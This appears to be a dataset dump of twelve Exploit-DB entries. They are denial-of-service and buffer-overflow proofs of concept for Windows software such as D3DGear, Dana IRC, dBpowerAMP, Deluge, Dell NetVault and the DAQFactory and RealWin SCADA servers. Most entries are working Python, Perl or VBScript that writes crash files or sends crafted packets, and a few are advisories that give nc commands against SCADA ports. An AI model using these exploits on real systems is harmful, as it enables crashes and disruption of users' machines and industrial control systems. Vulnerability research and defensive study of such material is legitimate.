deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17930
Description: Cytel Studio 9.0.0 - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2011-10-04
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Cytel Studio: StatXact / LogXact / CrossOver
              http://www.cytel.com/Software/LogXact.aspx
              http://www.cytel.com/Software/StatXact.aspx
              http://www.cytel.com/Software/Crossover.aspx
Versions:     <= 9.0.0
Platforms:    Windows
Bugs:         A] strings stack overflow
              B] rows integer overflow
              C] CYB USE stack overflow
Exploitation: file
Date:         02 Oct 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"Cytel, the acknowledged leader in exact statistical methods, helped
pioneer exact methods for binary logistic regression and multinomial
regression."
"First introduced in 1987, LogXact is unequivocally the fastest and
most powerful logistic regression analysis software available today."
"With StatXact, Cytel's own powerful algorithms make exact inferences
by permuting the actually observed data, eliminating the need for
distributional assumptions."


#######################################################################

=======
2) Bugs
=======


-------------------------
A] strings stack overflow
-------------------------

Buffer overflow during the copying of the strings in a stack buffer
of 256 bytes.


------------------------
B] rows integer overflow
------------------------

There is an integer overflow in the handling of the rows.
The number of rows (first element of the second line in the file) is
multiplied by the size of the elements (8 for floats, 4 for strings
and so on) and the allocated memory gets overflowed when the elements
are copied one by one.
At the moment I have not seen ways to exploit this vulnerability to
execute code so I report it just as reference.

Both the A and B problems are exploitable with the CY3 ("StatXact 5.0
data") and the CYL ("LogXact data") files.


-------------------------
C] CYB USE stack overflow
-------------------------

Stack overflow in the handling of the USE command of the CYB files.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/cytel_1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17930.zip


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #43410
Description: D3DGear 5.00 Build 2175 - Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2017-12-31
Author: bzyo

Exploit:
#!/usr/bin/python
 
#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: D3DGear 5.00 Build 2175 - Buffer Overflow
# Date: 07-11-2017
# Vulnerable Software: D3DGear 5.00 Build 2175
# Vendor Homepage: http://www.d3dgear.com/
# Version: 5.00 Build 2175
# Software Link: http://www.d3dgear.com/products.htm
# Tested On: Windows 7 x86
#
#
# PoC: generate crash.txt, open program, select broadcast, paste crash.txt contents in stream key
#
# app crashes; 00420042 Pointer to next SEH record; no eip overwrite; one unicode ppr pointer
#
  
file = "crash.txt"

buffer = "A"* 1284 + "B"*4
writeFile = open (file, "w")
writeFile.write( buffer )
writeFile.close()
Exploit-DB #18507
Description: DAMN Hash Calculator 1.5.1 - Local Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2012-02-22
Author: Julien Ahrens

Exploit:
#!/usr/bin/python
 
# Exploit Title: DAMN Hash Calculator v1.5.1 Local Heap Overflow PoC
# Version:       1.5.1
# Date:          2012-02-21
# Author:        Julien Ahrens
# Homepage:      http://www.inshell.net
# Software Link: http://www.google.com
# Tested on:     Windows XP SP3 Professional German
# Notes:         Old but nice software...just to proof it's there :-)
# Howto:         Import Reg -> Start App -> Select File -> Cancel without choosing one

#7C9204E6   . 8B7D 08        MOV EDI,DWORD PTR SS:[EBP+8]
#7C9204E9   . 0B47 10        OR EAX,DWORD PTR DS:[EDI+10]
#7C9204EC   . A9 00000269    TEST EAX,69020000
#7C9204F1   . 0F85 8BA70300  JNZ ntdll.7C95AC82
#7C9204F7   > 8B45 10        MOV EAX,DWORD PTR SS:[EBP+10]
#7C9204FA   . 8A48 FD        MOV CL,BYTE PTR DS:[EAX-3]      <-- Crash
#7C9204FD   . 83C0 F8        ADD EAX,-8
#7C920500   . F6C1 01        TEST CL,1
#7C920503   . 56             PUSH ESI
#7C920504   . 0F84 92A70300  JE ntdll.7C95AC9C
#7C92050A   . F6C1 08        TEST CL,8
#7C92050D   . 0F85 B3A70300  JNZ ntdll.7C95ACC6

#EAX 42424245
#ECX 00000008
#EDX 77C31AE8 msvcrt.77C31AE8
#EBX 0040F2F0 DAMN_Has.0040F2F0
#ESP 0012F54C
#EBP 0012F550
#ESI 0041A2DC ASCII "EBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
#EDI 00330000
#EIP 7C9204FA ntdll.7C9204FA


file="poc.reg"

junk1="\x41" * 392
boom="\x45\x42\x42\x42"
junk2="\x43" * 50

poc="Windows Registry Editor Version 5.00\n\n"
poc=poc + "[HKEY_CURRENT_USER\Software\DAMN\Hash Calculator\Settings]\n"
poc=poc + "\"LastDir\"=\"" + junk1 + boom + junk2 + "\""

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";
Exploit-DB #5817
Description: Dana IRC 1.3 - Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-06-14
Author: t0pP8uZz

Exploit:
- Dana IRC <= 1.3 Remote Buffer Overflow POC/Crash -

	Discovered On: 14 JUNE 2008
	Discovered By: t0pP8uZz

	Download: diebestenbits.de


	- Info -

	Dana Irc client suffers from a remote buffer overflow, sending a buffer of around 2k
	overwrites the EIP therefor crashes the client. The reason why there isnt any shellcode here
	is because the client is coverting the junk/buffer data to unicode so its corrupting the shellcode
	ive tried sending unicode buffer but the same problem occurs.
	
	if anyone else can get further please let me know. but i doubt you can.

	there are also other registers you can overwrite using diffrent junk data to overflow them.

	the peice of perl code below will listen on port 6667 and when a Dana IRC client connects
	it will crash the client. its also possible to send the data direct to the user.

	peace, t0pP8uZz

#!/usr/bin/perl

use IO::Socket;

$sock = IO::Socket::INET->new( Proto => 'tcp', LocalPort => '6667', Listen => SOMAXCONN, Reuse => 1 );

$jnk = "%n"x1000;
print "Running..";
while($client = $sock->accept()) {
    print $client "$jnk\r\n";
    print "Crashed Client!\n";
}

# milw0rm.com [2008-06-14]
Exploit-DB #17841
Description: DaqFactory 5.85 build 1853 - Stack Overflow
Type: dos
Platform: windows
Date: 2011-09-14
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  DAQFactory
              http://www.azeotech.com/daqfactory.php
Versions:     <= 5.85 build 1853
Platforms:    Windows
Bug:          stack overflow
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


DAQFactory is an HMI/SCADA software.


#######################################################################

======
2) Bug
======


When DAQFactory is running it listens on the UDP port 20034 for NETB
packets of max 0x400 bytes.

The software is affected by a stack overflow in the code that logs the
informations of the incoming packet allowing an attacker to execute
malicious code:

  005C3FB0  /$ 6A FF             PUSH -1
  005C3FB2  |. 68 E6777D00       PUSH DAQFacto.007D77E6
  005C3FB7  |. 64:A1 00000000    MOV EAX,DWORD PTR FS:[0]
  005C3FBD  |. 50                PUSH EAX
  005C3FBE  |. 64:8[PII_REDACTED]0  MOV DWORD PTR FS:[0],ESP
  005C3FC5  |. 81EC 2C020000     SUB ESP,22C
  ...skip...
  005C41B2  |. 8D8C24 7C010000   LEA ECX,DWORD PTR SS:[ESP+17C]
  005C41B9  |. 68 B02C9000       PUSH DAQFacto.00902CB0     ; "MAC:[%02x-%02X-%02X-%02X-%02X-%02X] IP:%d.%d.%d.%d DHCP:%d.%d.%d.%d %s%s"
  005C41BE  |. 51                PUSH ECX
  005C41BF  |. FF15 6CC07F00     CALL DWORD PTR DS:[<&MSVCRT.sprintf>]
  ..and..
  005C423A  |. 8D8C24 6C010000   LEA ECX,DWORD PTR SS:[ESP+16C]
  005C4241  |. 68 682C9000       PUSH DAQFacto.00902C68     ; "MAC: [%02x-%02X-%02X-%02X-%02X-%02X]    IP:%d.%d.%d.%d %s%s"
  005C4246  |. 51                PUSH ECX
  005C4247  |. FF15 6CC07F00     CALL DWORD PTR DS:[<&MSVCRT.sprintf>]


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/daqfactory_1.dat
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17841.dat

  nc SERVER 20034 -u < daqfactory_1.dat


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #15259
Description: DATAC RealWin SCADA Server 2.0 (Build 6.1.8.10) - Buffer Overflow
Type: dos
Platform: windows
Date: 2010-10-15
Author: Luigi Auriemma

Exploit:
Source: http://aluigi.org/adv/realwin_1-adv.txt

#######################################################################

                             Luigi Auriemma

Application:  DATAC RealWin
              http://www.dataconline.com/software/realwin.php
              http://www.realflex.com
Versions:     <= 2.0 (Build 6.1.8.10)
Platforms:    Windows
Bugs:         A] stack overflow in SCPC_INITIALIZE and SCPC_INITIALIZE_RF
              B] stack overflow in SCPC_TXTEVENT
Exploitation: remote, versus server
Date:         15 Oct 2010
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


"RealWin is a SCADA server package for medium / small applications."


#######################################################################

=======
2) Bugs
=======


-----------------------------------------------------------
A] stack overflow in SCPC_INITIALIZE and SCPC_INITIALIZE_RF
-----------------------------------------------------------

The service of the server running on port 912 is vulnerable to a
stack based buffer-overflow caused by the usage of sprintf() for
building a particular string with the data supplied by the attacker:

  sprintf(
    stack_buffer,
    "C:\\Program Files\\...path_of_RealWin...\\data\\crt\\fwd\\tel\\%s.%d",
    attacker_string,
    attacker_16bit_number);


----------------------------------
B] stack overflow in SCPC_TXTEVENT
----------------------------------

The same server is vulnerable also to another stack based overflow
caused by the usage of strcpy() with the data supplied by the attacker.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/realwin_1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15259.zip (realwin_1.zip)

  nc SERVER 912 < realwin_1a.dat
  nc SERVER 912 < realwin_1b.dat
  nc SERVER 912 < realwin_1c.dat


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #5067
Description: dBpowerAMP Audio Player 2 - '.m3u' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-02-05
Author: securfrog

Exploit:
# dBpowerAMP Audio Player Release 2 Remote Buffer Overflow

# 0:002> r
# eax=00000000 ebx=77c17a50 ecx=00000000 edx=00000107 esi=00000000 edi=00b8f217
# eip=00004141 esp=00b8ede0 ebp=77c0f931 iopl=0 nv up ei pl nz na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
# 00004141 ?? ???

# EXCEPTION_RECORD: ffffffff -- (.exr ffffffffffffffff)
# ExceptionAddress: 00004141
# ExceptionCode: c0000005 (Access violation)
# ExceptionFlags: 00000000
# NumberParameters: 2
# Parameter[0]: 00000000
# Parameter[1]: 00004141
# Attempt to read from address 00004141
# 
# PoC :
# 
my $file="bob_marley_I_Shot_The_Sheriff.m3u";

open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE "http://"."A" x 255;
close($FILE);
print "$file has been created \n";
print "Credits:Securfrog";

# milw0rm.com [2008-02-05]
Exploit-DB #7751
Description: dBpowerAMP Audio Player 2 - '.pls' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-01-13
Author: Stack

Exploit:
#!/usr/bin/perl
# dBpowerAMP Audio Player Release 2.PLS Local Buffer Overflow Exploit
# Down : http://www.dbpoweramp.com/bin/dBpowerAMP-r2.exe
# Desc : in 257  A' Basic buffer overflow
#        in 1000 A' Stack overflow
#        in 3000 A' Heap overflow
# By Mountassif Moad a.k.a Stack
# v4 Team & evil finger
use strict;
use warnings;
my $A= "\x41" x 257;
open(my $pls_playlist, "> stack.pls");
print $pls_playlist "[playlist]\r\n".
      "NumberOfEntries=1\r\n".
                    "File1=http://".
                    $A.
                    "\r\n";
close $pls_playlist;

# milw0rm.com [2009-01-13]
Exploit-DB #18852
Description: DecisionTools SharpGrid - ActiveX Control Remote Code Execution
Type: dos
Platform: windows
Date: 2012-05-09
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   DecisionTools SharpGrid ActiveX Control Code Execution Vulnerability
Platforms:     Windows 
Secunia:       SA48571  
Date:          2012-05-09
Author:        Francis Provencher (Protek Research Lab's) 
Website:       http://www.protekresearchlab.com/
Twitter:       @ProtekResearch

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC


#####################################################################################

===============
1) Introduction
===============
The DecisionTools Suite is an integrated set of programs for risk analysis and decision making
under uncertainty that runs in Microsoft Excel. The DecisionTools Suite includes @RISK for
Monte Carlo simulation, PrecisionTree for decision trees, and TopRank for “what if” sensitivity analysis.
In addition, the DecisionTools Suite comes with StatTools for statistical analysis and forecasting,
NeuralTools for predictive neural networks, and Evolver and RISKOptimizer for optimization.
All programs work together better than ever before, and all integrate completely with
Microsoft Excel for ease of use and maximum flexibility.
 
http://www.palisade.com/decisiontools_suite/
#####################################################################################

============================
2) Report Timeline
============================

2012-03-26  Vulnerability reported to Secunia
2012-05-09  Publication of this advisory 


#####################################################################################

============================
3) Technical details
============================
 
The vulnerability is caused due to the "Images" property in the SharpGrid ActiveX control
insecurely using the assigned value as an image list pointer and can be exploited to call a
virtual function within an arbitrary memory location.
 

#####################################################################################

===========
4) POC
===========

<object classid='clsid:5BAADB36-D13B-4708-B8E6-7FACF1BF6783' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files\Common Files\Data Dynamics\Sharpgrid\sg20u.ocx"
prototype  = "Property Let Images As Long"
memberName = "Images"
progid     = "DDSharpGrid2U.SGGrid"
argCount   = 1
arg1=[PII_REDACTED]
target.Images = arg1

</script>
Exploit-DB #37739
Description: Dell Netvault Backup 10.0.1.24 - Denial of Service
Type: dos
Platform: windows
Date: 2015-08-07
Author: Josep Pi Rodriguez

Exploit:
"""
Product: Dell Netvault Backup
Link: http://software.dell.com/products/netvault-backup/
Vendor: Dell
Vulnerable Version(s): 10.0.1.24 and probably prior
Tested Version: Version 10.0.1.24
Advisory Publication: July 30, 2015 
Vendor Notification: January 9, 2015
Public Disclosure: July 30, 2015
Vulnerability Type: Remote Denial of service
CVE Reference: CVE-2015-5696
Risk Level: Medium
Discovered and Provided: Josep Pi Rodriguez https://es.linkedin.com/pub/josep-pi-rodriguez/60/229/b24

-----------------------------------------------------------------------------------------------

Advisory Details:

Doing reverse engineering of the protocol was found several ways to cause a crash in the nvpmgr.exe process.The entire application (all processes) will die and it won't be able to restart again by itself unless someone do it manually.

Proof of concept script:
"""

#!/usr/bin/python
import socket as so
from struct import *

server = "192.168.140.130"
port = 20031
d = "\x18\x00\x00\x00"  
d += "\x01" 

#d += "\xCB\x22\x77\xC9" # Another crash example
d += "\x18\xE8\xBE\xC8" # Will cause the crash
d += "\x0B\x00\x00\x00" + "AAAA" + "B" * 6  
d += "\x00" # null byte

##
# send it

s = so.socket(so.AF_INET, so.SOCK_STREAM)
s.connect((server, port))
s.send(d)
s.close()

"""
-----------------------------------------------------------------------------------------------

Solution:

Disclosure timeline:
2015-01-09 Vendor notified via email
2015-05-26 Vendor notifies that the issue is fixed in version 10.0.5.x
2015-07-30 Public disclosure.

The fix done by Dell was not checked by the researcher.

-----------------------------------------------------------------------------------------------
"""
Exploit-DB #46884
Description: Deluge 1.3.15 - 'Webseeds' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-21
Author: Victor Mondragón

Exploit:
#Exploit Title: Deluge 1.3.15 - 'Webseeds' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-20
#Vendor Homepage: https://dev.deluge-torrent.org/
#Software Link: http://download.deluge-torrent.org/windows/deluge-1.3.15-win32-py2.7.exe
#Tested Version: 1.3.15
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: deluge_web.py
#2.- Open deluge_web.txt and copy content to clipboard
#3.- Open deluge.exe
#4.- Select "File" > "Create Torrent" 
#5.- In "Webseeds" field paste Clipboard
#6.- Crashed

cod = "\x41" * 5000

f = open('deluge_web.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #7362
Description: DesignWorks Professional 4.3.1 - '.CCT' File Local Stack Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-12-06
Author: Cnaph

Exploit:
#
#                          I'm Cn4phux
#                  ------  |      ______ _____   (--, __*__  ______
#                  |____|  |  횂짚   |    | |       | ! )  |    |     |
#                [ |    |` |      | <> | |-----> |__/   |    |  횂짚  | ]
#                  | .. |  |____! |____| |____   |\     |    |-----|
#                                      |        _| \  -----  | ::: |
#                                      |         |  \
#                                |_____|         |   \
#                                                |
#                                                |
#                                               ,|.
#                                              / | \
#                                             |  |  |
#                                             |  _  |
#                                           `._\/.\/_,'
#                                             _( 8 )_
#                                            / '_ _' \
#                                           |  /{_}\  |
#                                           ` |  "  | `
#                                             |     |
#
#
# [+] Application               : DesignWorks Professional 4.3.1
#
# [+] Application's Description : (" DesignWorks Professional Schematic Capture for Windows...,Google-it.)
#
# [+] Bug                       : Local .CCT File Stack Buffer Overflow (PoC)
#
# [+] Author                    : Cn4phux
#
import sys
import os
print "[x] Local Stack Overflow PoC"
try:
   milef = open("x2.cct",'w')
  
except IOError, e:
    print "Unable to open file ", e
    sys.exit(0)
print "[x] File sucessfully opened for writing."
try:
   milef.write("A" * 10000)
except IOError, e:
   
    print "Unable to write to file ", e
    sys.exit(0)
   
print "[x] Exploit successfully written."
milef.close()
print "[x] ."
print "\n[x] Cn4phux made in DZ, Great'z to all Algerians. /Google.dz"

# milw0rm.com [2008-12-06]